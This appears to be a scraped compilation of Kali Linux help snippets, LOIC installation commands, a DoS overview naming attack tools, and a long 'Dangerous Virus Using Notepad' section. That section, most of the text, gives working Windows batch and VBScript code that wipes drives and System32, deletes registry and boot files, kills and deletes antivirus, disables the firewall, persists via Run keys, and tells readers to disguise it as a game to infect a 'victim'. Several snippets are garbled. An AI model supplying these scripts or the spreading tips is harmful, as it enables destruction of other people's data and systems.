Could not get lock /var/lib/dpkg/lock-frontend

This may happen if

1. 'Synaptic Package Manager' or 'Software Updater' is open.
2. Some apt command is running in Terminal.
3. Some apt process is running in background.

For above wait for the process to complete. If this does not happen run in terminal:

sudo killall apt apt-get

If none of the above works, remove the lock files. Run in terminal:

sudo rm /var/lib/apt/lists/lock
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock*

then reconfigure the packages. Run in terminal:

sudo dpkg --configure -a

and

sudo apt update

That should do the job.

shareimprove this answer

How To Update/Install Kernel Headers in Kali Linux

Step One:

First, we need to make sure that the official Kali Linux repositories are added to the “sources.list” file.

Open a Terminal and type leafpad /etc/apt/sources.list and press Enter.

Step Two:

In the file that opens, look over it. If it contains all the lines listed below, then you can close it and continue on to Step Three. However, if it is empty or contains text different than the text listed below, delete everything inside it and replace it with the below text:

---

deb http://http.kali.org/kali kali main non-free contrib

deb http://security.kali.org/kali-security kali/updates main contrib non-free

deb-src http://http.kali.org/kali kali main non-free contrib

deb-src http://security.kali.org/kali-security kali/updates main contrib non-free

---

If you have to manually type it, be sure to double check it, as even the slightest error will result in Kali Linux not updating properly.
Once you have finished, close leafpad and click Yes when it asks you if you want to save the changes.


Step Three:
Now, in the Terminal, type the below command:
apt-get update && apt-get install -y linux-headers-$(uname -r)
And press Enter.

Step Four:
It will ask you if you want to install the new updates (headers). Type Y for “yes” and press Enter again.

Step Five:

Once it has completely finished updating, and you’re presented with the root@kali prefix again, type reboot in the terminal to restart Kali Linux.

Kali Linux Update Problem Repository

Your /etc/sources.list should be:

deb http://http.kali.org/kali kali-rolling main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free

However if the above official source not working to you, you may use the official kali mirrors.
 
1) Go to this link http://http.kali.org/README.mirrorlist
2) under "mirrors which handle this country" copy any one of the link (example in my case: http://kali.cs.nctu.edu.tw/kali/README )
3) Open nano /etc/apt/sources.list and paste it at the bottom.
4) Remove "/README" from the link and make it looks like this -> "deb http://kali.cs.nctu.edu.tw/kali kali-rolling main contrib non-free"
5) Comment all previous sources except the mirror that you just pasted.
6) and finally your Mirror sources.list should be like this: (Example of my kali mirror sources.list)

#Kali Linux Rolling Official Repositories
#deb http://http.kali.org/kali kali-rolling main contrib non-free

#Kali Linux Rolling Official Mirrors Repositories
deb http://kali.cs.nctu.edu.tw/kali kali-rolling main contrib non-free

7) Exit and write changes.
8) Run apt-get clean && apt-get update and see if it works.
9) If it still doesn't working, try to replace it with another mirror.

Hope this helps anyone out there.

How to Install Low Orbit Ion Cannon (LOIC) in Kali Linux

How to Install Low Orbit Ion Cannon (LOIC) in Kali Linux commands you need to use: aptitude install git-core monodevelop cd /root/Desktop mkdir loic cd loic wget https://raw.githubusercontent.com/nicolargo/loicinstaller/master/loic.sh

wget https://raw.github.com/nicolargo/eyamsofaking/we/toddid/loicinstaller/ master/loic.sh

chmod 777 loic.sh 
./loic.sh install 
./loic.sh update 
apt-get install mono-gmc 
./loic.sh run 

 thank you for watching :)

What is DoS (Denial-of-Service) Attack & Tools to Perform DOS & DDOS Attack

DoS vs DDoS Attack

There are two general forms of DoS attacks DoS & Distributed DoS. in distributed denial of service(DDoS) attack involves more than one attack source. main difference between DoS and DDoS Attacks is that The DoS attack typically uses one computer and one Internet connection to flood a targeted network or resource. The DDoS attack uses multiple compromise computers(Zombies or Botnet) and Internet connections to flood with data packets the targeted resource.

DoS/DDoS Attack Method

DoS Attack can categorize into at least three different types.

1. Volumetric Attacks

Volumetric attacks are the most common types of DoS attack about 65% attacks are volumetric attack. Volumetric Attacks that use massive amount of traffic saturating the bandwidth of the target. Attacker simply sends a large volume of useless packets to the target thereby using up all the resources.

2. Fragmentation/Protocol Attacks

Fragmentation attacks are a common form of denial of service attack, in which the perpetrator overbears a network by exploiting datagram fragmentation mechanisms. fragmentation attack use the resources of the network equipment on the periphery of the server such a firewalls, intrusion detection systems, and switches. fragmentation attacks can take several forms. While they all exploit the breakdown of datagrams in order to overbear the target networks.

3. Application layer Attack

An application layer attack is a form of DDoS attack where attackers target the application layer of the OSI model attacker exploit a weakness in the layer 7 protocol stack. The attack over-exercises specific functions or features of a website with the intention to disable those functions or features.

DoS/DDoS Attack Tools

The following are some of the popular tools that can be used to perform DoS and DDoS attacks.

1. Metasploit
2. Aircrack-ng
3. HULK (HTTP Unbearable Load King)
4. Nemesy
5. RUDY (R-U-Dead-Yet)
6. LOIC (The Low Orbit Ion Cannon)
7. HOIC
8. XOIC
9. Xerxes
10. Blast
11. GoldenEye
12. UDP flooder
13. PyLoris
14. Tor’s Hammer
15. DDOSIM – Layer 7 DDoS Simulator

Dangerous Virus Using Notepad

These program scripts which are helped in create a virus using notepad. 
Some of them will works on windows xp and. some of them in windows 7

1. Here is a Batch File virus which can:
1.Copy itself into startup
2.Copy itself over one thousand times into random spots in your computer.
3.Hide its self and all other created files
4.Task kill MSN, Norton, Windows Explorer, Limewire.
5.Swap the left mouse button with the right one
6.Opens alert boxes
7.Changes the time to 12:00 and shuts down the computer
copy this code into notepad and save as Greatgame.bat(while saving select all files instead of text ).

Here is the Code:

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP



2.  Virus to delete all drive

@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Then save it as kinng.bat and the batch file is created .
WARNING :: This is the most dangerous virus! Be careful with its use.

3. Delete the entire registry

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE

Now save it as kinng.bat and the batch file is created .

4. How to crash a PC Forever !:::

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE.

5.How to stop someone's internet access::::


@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

6. ShutDown PC million Times::::

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a

7. Delete Windows System32 Folder

Open Notepad

Write / copy the below command there:
" del c:\WINDOWS\system32\*.*/q " without quote
and save as " anything.bat"
Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.

8. Delete Windows Drives 

Open Notepad
Copy the below command there

rd/s/q D:\
rd/s/q C:\
rd/s/q E:\

Save as "anything.bat
This virus Formats the C ,D , and E Drive in 3 Seconds.

9. Just open the Notepad and type the paste the following Code.

set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now Save This Notepad file With Any Name Having .vbs Extension .

10 :-

Open Notepad and write "start" without quotes
Start
Start
Start
and then save it with .bat extension.
Now double click on this .bat file to run Command Prompt.

11:- Convey your friend a little message and shut down his / her computer:

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

12 :- Toggle your friend's Caps Lock button simultaneously:

Code:
Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.

13:-Frustrate your friend by making this VBScript hit Enter simultaneously

Type :

Code:
Set wshShell = wscript.CreateObject("WScript.Shell
")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

14:- This Virus Deletes All The Content Of A Drive...

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00


Save The Above Code As Anything.bat


15:- This Will Crash Ur Computer

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

Save It As Anything.vbs

16 :-Virus that crashes pc

@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive


Save As Anything.bat File In Notepad!!
This Will Pop Up A Message Saying OWNED!!
And Shut Down The Computer Never To Reboot Again!

17:- Shutdowns Computer Everytime It Is Turned On

Save As A bat File

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

18:- Disable Internet Permanently

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Save As A bat File

19 :- Change Files To Non-working TXT Files
Save As A bat File

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT


20 :- System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

PAUSE

PAUSE

Save As A bat File

21:- Temporarily Flood Network
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

? Open Notepad

? Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

? File >> Save As...

? Name it : virus.bat

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the Virus.bat file here !

*** That's all , now the computer will
automatically shutdown on every startup !

How to Spread it:
Windows does'nt allow to change the icon of .bat files. Therefore what you can do is :
Right click on the .bat file
Click on CREATE SHORTCUT
And hide the original file.
Now as this newly created file is just the shortcut, you can easily change its icon.
Right click on this shortcut
properties >>>..cutomize>>..choose icon
Now give an attractive icon to it.
Now name it something intresting. eg. PROTOTYPE or IGI etc.

Now your victim would think it to be the game , and he will be easily curropted.

22. Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 100
 loop

23. Endless Enter

This will make the enter button pressed continuously

Set wshShell = wscript.CreateObject(”WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “~(enter)”
 loop

24.Application Bomber

It will start to open different applications repeatedly which will affect the system’s performance.

You can also add the application of your choice in the above code.

@echo off
 :x
 start winword
 start mspaint
 start notepad
 start write
 start cmd
 start explorer
 start control
 start calc
 goto x

25. Folder Flooder

This will create unlimited no. of folders.
@echo off
:x
md %random%
/folder.
goto x

26.Windows Hacker

This will delete your whole C:\ drive and it really unrecoverable
@Echo off
Del C:\ *.* |y
27. Anti Virus Disabler

This large code will disable any antivirus installed on the system
@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem